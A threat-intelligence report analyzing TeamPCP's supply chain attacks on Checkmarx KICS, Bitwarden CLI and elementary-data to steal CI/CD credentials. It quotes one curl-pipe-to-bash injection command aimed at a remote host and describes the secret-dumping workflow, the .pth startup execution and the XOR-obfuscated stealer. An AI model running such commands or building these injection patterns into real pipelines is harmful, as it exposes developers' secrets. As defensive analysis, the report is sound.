Analyzing TeamPCP’s Supply Chain Attacks: Checkmarx KICS and elementary-data in CI/CD Credential Theft
Our research analyzed the April 22 Checkmarx Keeping Infrastructure as Code Secure (KICS) and April 24 elementary-data incidents as two case studies within a broader TeamPCP supply chain campaign spanning at least seven confirmed waves. KICS showed multichannel poisoning across Docker Hub, VS Code/OpenVSX, and GitHub Actions, followed by a downstream hijack of @bitwarden/cli using stolen npm tokens. elementary-data used GitHub Actions script injection to trigger the project’s own release pipeline, producing a malicious package signed by legitimate CI and published to Python Package Index (PyPI) and GitHub Container Registry (GHCR). This campaign is built for credential theft at scale. The payloads target GitHub PATs, npm tokens, cloud credentials, SSH keys, Kubernetes secrets, database credentials, developer tooling secrets, infrastructure-as-code (IaC) files, and cryptocurrency wallet keystores. In elementary-data, the stealer also makes live Amazon Web Services (AWS) API calls to enumerate and pull secrets from Secrets Manager and SSM Parameter Store, going beyond files stored on disk. Organizations using GitHub Actions, PyPI, Docker Hub, GHCR, VS Code extensions, and cloud-connected CI runners are directly exposed to this risk. The elementary-data incident also showed that maintainer credentials did not need to be stolen first. One unsanitized pull request comment was enough to turn the project’s CI into the attacker’s release channel. Enforcing the principle of least privilege helps limit the damage when a trusted workflow, artifact, or release process is abused. TrendAI Vision OneTM already provides customers with protection and hunting coverage for the threats and techniques discussed here, while more detailed remediation steps and incident-specific recommendations are provided below. Introduction TeamPCP has been identified as running a coordinated campaign from March 19 through April 24, with at least seven distinct waves identified. It finds trusted artifacts in developer tool chains, poisons the distribution channel using that project’s own infrastructure, and harvests credentials before the project’s maintainers or security monitoring catches the substitution. The targets span five programming ecosystems and three registry types. What distinguishes the two most recent operations is how the actor reached the same outcome, despite using different methods to get there. The KICS attack was operationally complex, with simultaneous poisoning across three distribution channels, an obfuscated payload executed via a downloaded runtime, and a downstream npm hijack executed within 24 hours using stolen credentials. The elementary-data attack was technically simpler, but perhaps more concerning. A single comment on a GitHub pull request was enough to obtain a runner token, forge a tagged release commit, and invoke the project’s own signing infrastructure. The resulting package passed every standard PyPI verification check because the project built it. This article treats both events as case studies within a single campaign, examines the shared tradecraft, documents the payload differences, and provides a partial MITRE ATT&CK mapping and a unified set of indicators and remediation steps. TeamPCP is a financially motivated threat actor cluster that TrendAITM Research has tracked as SHADOW-WATER-058 across a series of supply chain incidents. We assigned the cluster name prior to the April 22 Checkmarx KICS incident based on consistent infrastructure, tooling, and operational markers observed across earlier waves. Following the KICS incident, the @pcpcats X account posted, “Thank you OSS distribution for another very successful day at PCP inc.” That post was a self-identification that aligned with the cluster name we were already using internally, rather than the source of it. Attribution confidence is medium-high for the campaign cluster, with confidence varying by wave based on available evidence. Our assessment rests on four evidence pillars shared across confirmed waves: Consistent C&C infrastructure patterns Actor-branded exfiltration headers and archive names The .pth file delivery mechanism across Python targets The same Session messenger identifier embedded as the XOR cipher seed in the LiteLLM, Xinference, and elementary-data payloads. The Session ID serves simultaneously as a decryption key component and an operator contact method, appearing identically across three separate package compromises. This is the single and clearest cross-campaign marker in our dataset. Actor identity, geographic origin, and state affiliation carry low confidence. Open-source reporting indicates TeamPCP claimed a partnership with the Vect ransomware group and CipherForce. TrendAITM has not independently verified this purported affiliation. A LAPSUS$ connection was reportedly asserted but remains unconfirmed across all public reporting. The Vect ransomware group began publishing victims on April 15, 2026, with data attributed to TeamPCP-stolen credentials, confirming active monetization of stolen credentials within weeks of collection. The following are TeamPCP’s confirmed campaign history, from March to April 2026: March 19: Trivy GitHub Actions compromised; first confirmed TeamPCP wave March 23: KICS GitHub Action compromised via stolen PATs March 23 – 24: Checkmarx VS Code extensions on OpenVSX; LiteLLM PyPI v1.82.7/v1.82.8 March 27: Telnyx PyPI compromise, documented by TrendAITM Research in the prior wave of this series April 15: Vect ransomware began publishing victims with data attributed to TeamPCP-stolen credentials April 22: Xinference PyPI; Checkmarx KICS Docker Hub, VS Code, and GitHub Actions (the first case study detailed in this article) April 23: @bitwarden/cli v2026.4.0 downstream hijack using stolen KICS npm tokens April 24: elementary-data PyPI and GHCR via GitHub Actions script injection (the second case study detailed in this article) Figure 1. TeamPCP campaign timeline from initial Trivy GitHub Actions compromise (March 19, 2026) through the elementary-data script injection (April 24, 2026), showing confirmed waves, distribution channels, and the progression from single-channel to multi-channel delivery The following are the confirmed tooling and markers across the campaign: JavaScript/Bun runtime delivery (KICS, Bitwarden CLI) Python .pth file delivery (LiteLLM, Xinference, elementary-data) AES-256-GCM and RSA OAEP-SHA256 encryption (KICS, Bitwarden) MD5-keystream XOR (elementary-data, LiteLLM, Xinference) A reused Session messenger identifier as the XOR seed across Python payloads Staging repositories on GitHub named using words from the Dune film and novels (e.g., sardaukar, fremen, atreides, sandworm), following a <dune-word>-<dune-word>-<3 digits> pattern with description Shai-Hulud: The Third Coming Commit-message marker LongLiveTheResistanceAgainstMachines, used as PAT staging and dead-drop marker Actor-branded exfil headers, including X-Rise-To-The-Trinny: agree (elementary-data), X-Filename: tpcp.tar.gz (LiteLLM), and X-QT-SR: 14 (Xinference) Campaign analysis Across all confirmed TeamPCP waves, shared tradecraft was evident across ecosystems, with three patterns remaining constant regardless of the language, registry, or distribution channel the actor targeted: CI/CD trust as the attack surface: Every entry vector in this campaign abuses something a build pipeline implicitly trusts. This includes a Docker image pulled by tag rather than digest, a VS Code extension from a known publisher, or a GitHub Actions workflow using the project’s own GITHUB_TOKEN, a PyPI package that the project’s own CI signed and published. The actor did not need to compromise end-user systems directly in any confirmed wave. The pipeline does the work. Credential theft as the singular objective: The payload complexity differs across waves, but the output is always the same compressed archive of developer credentials, cloud provider keys, SSH material, and CI/CD tokens. This is exfiltrated to an actor-controlled endpoint before the pipeline finishes. In the KICS case, stolen npm tokens were operationalized within 24 hours for the Bitwarden downstream attack. The actor treats stolen credentials as fungible assets with immediate reuse value. Actor branding embedded in payloads: The X-Rise-To-The-Trinny: agree header, the trin.tar.gz archive name, X-Filename: tpcp.tar.gz, the reused Session identifier in the XOR key, and the Dune-themed staging repositories are not operational requirements, but are consistent actor signatures that appear deliberate. This pattern has persisted across campaigns spanning six weeks, which is unusual, as most financially motivated actors minimize identifiable markers. The persistence suggests either high operational confidence or a preference for notoriety alongside monetization. At approximately 12:35 UTC on April 22, 2026 , TeamPCP pushed malicious images to the official checkmarx/kics Docker Hub repository, simultaneously poisoning VS Code and OpenVSX extensions and modifying the checkmarx/ast-github-action GitHub Actions workflow. The three-channel attack ran for approximately 83 minutes before Docker’s internal monitoring flagged the intrusion. Checkmarx confirmed the compromise and remediation. The exact initial access vector is unconfirmed in public reporting. The most consistent explanation, based on prior TeamPCP operations, is the use of GitHub PATs stolen in earlier campaign waves. The same commit-message marker found in the Trivy and KICS GitHub Action compromise in March appeared in the April 22 payload infrastructure. The following were the poisoned artifacts: Docker Hub: six checkmarx/kics tags overwritten (alpine, debian, latest, v2.1.20, v2.1.20-debian, fabricated v2.1.21) VS Code and OpenVSX : cx-dev-assist v1.17.0 and v1.19.0; ast-results v2.63.0 and v2.66.0 GitHub Actions: checkmarx/ast-github-action modified to inject a format-check.yml workflow that serialized all repository secrets via ${{ toJSON(secrets) }} The core payload, mcpAddon.js (approximately 10 MB), executes via the Bun runtime, which the poisoned artifacts download to the victim system during what the pipeline treats as a normal KICS scan. The stealer targets GitHub PATs, npm tokens, AWS, Azure, and GCP credentials, SSH material, AI and MCP config files (including ~/.claude.json and ~/.claude/mcp.json), and shell history. Stolen data is AES-256-GCM-encrypted with the symmetric key RSA OAEP-SHA256 encrypted using an attacker-embedded public key, then posted to the Checkmarx-impersonating C&C endpoint. A secondary dead-drop path auto-creates public GitHub repositories with Dune-themed names and stores encrypted credential blobs under a results/ directory. Within approximately 24 hours , the stolen npm tokens were used to publish @bitwarden/cli v2026.4.0, extending the malware’s reach to any developer or CI pipeline that installed the Bitwarden CLI during the exposure window. The Bitwarden payload introduced a fallback C&C domain recovery mechanism. If the primary C&C is unreachable, the payload queries the GitHub commit-search API for a specific marker to retrieve RSA-signed alternate exfiltration domains from GitHub commit messages, allowing infrastructure rotation without redeploying payloads. Bitwarden confirmed approximately 334 downloads over a 93-minute exposure window. Our side-by-side analysis of the Bitwarden and KICS payloads confirmed an identical C&C domain, C&C IP, encryption scheme, Bun runtime version, commit marker string, and repository naming pattern between the two variants. This is a finding consistent with third-party independent deobfuscation of the Bitwarden payload. At 22:10:14 UTC on April 24, 2026, an attacker-controlled account created on April 22 (the same day the Xinference attack concluded) posted a single comment on an open elementary-data pull request: curl -sSL hxxps[://]litter[.]catbox[.]moe/iqesmbhukgd2c7hq[.]sh | bash The workflow .github/workflows/update_pylon_issue.yml interpolated ${{ github.event.comment.body }} directly into a run: block without sanitization. GitHub Actions expands these expressions before passing to bash, executing the injected command on the runner. The runner held a GITHUB_TOKEN with repository write access. The handle_comment job ran for over two and a half hours. Using the token, the attacker created an orphan-tagged commit containing the malicious elementary.pth, then triggered the legitimate Release package workflow via workflow_dispatch with tag=v0.23.3. The resulting wheel and sdist received the project’s cryptographic signing. No maintainer credential compromise was needed. The project’s own CI built and signed the malicious release. The malicious wheel was published to PyPI at 22:20:47 UTC. The GHCR :latest tag was overwritten simultaneously. elementary-data records more than 1.1 million monthly downloads, and the malicious version was live from 22:20:47 UTC on April 24 until sometime on April 25. The malicious elementary.pth exploits Python’s .pth import mechanism. Any line prefixed with import in a .pth file executes at interpreter startup, before application code runs. The payload fires on every Python interpreter startup on an affected host, including subprocesses, regardless of whether elementary is ever imported. Payload analysis: elementary-data credential stealer The outer loader is a 46 KB ASCII Python file with CRLF line terminators and entropy of 3.72. That entropy figure deserves attention. This is the entropy of plaintext, not packed or encrypted content. The payload evades the majority of antivirus engines not through packing, but through the absence of traditional malware signatures in pure-Python credential harvesting code. It is a deliberate design choice that performs better against pattern-based static engines than conventional obfuscation would. The outer loader applies a custom MD5-keystream XOR cipher. The decryption key is the full operator contact string embedded in plaintext at the top of the file: for any questions: contact <session-id> on session The algorithm iteratively MD5-hashes this seed, producing approximately 693 rounds to generate the 11,078 keystream bytes needed, then XOR-decrypts the ciphertext byte-by-byte. The decrypted output is stored as a 44,325-character single-line blob of xNN-escaped bytes. That format defeats code formatters, most static analysis tools, and any analyst doing a casual code review of the .pth file. The key serves a dual purpose. It decrypts the payload and simultaneously broadcasts the operator’s contact method. The same Session messenger identifier appears in the LiteLLM and Xinference payloads, making it the most reliable cross-campaign TeamPCP actor marker in our dataset. The 11,078-byte inner stealer is executed via subprocess.run([sys.executable, "-"], input=bytes(jit)), which feeds input through stdin, never written to disk.
Source: www.trendmicro.com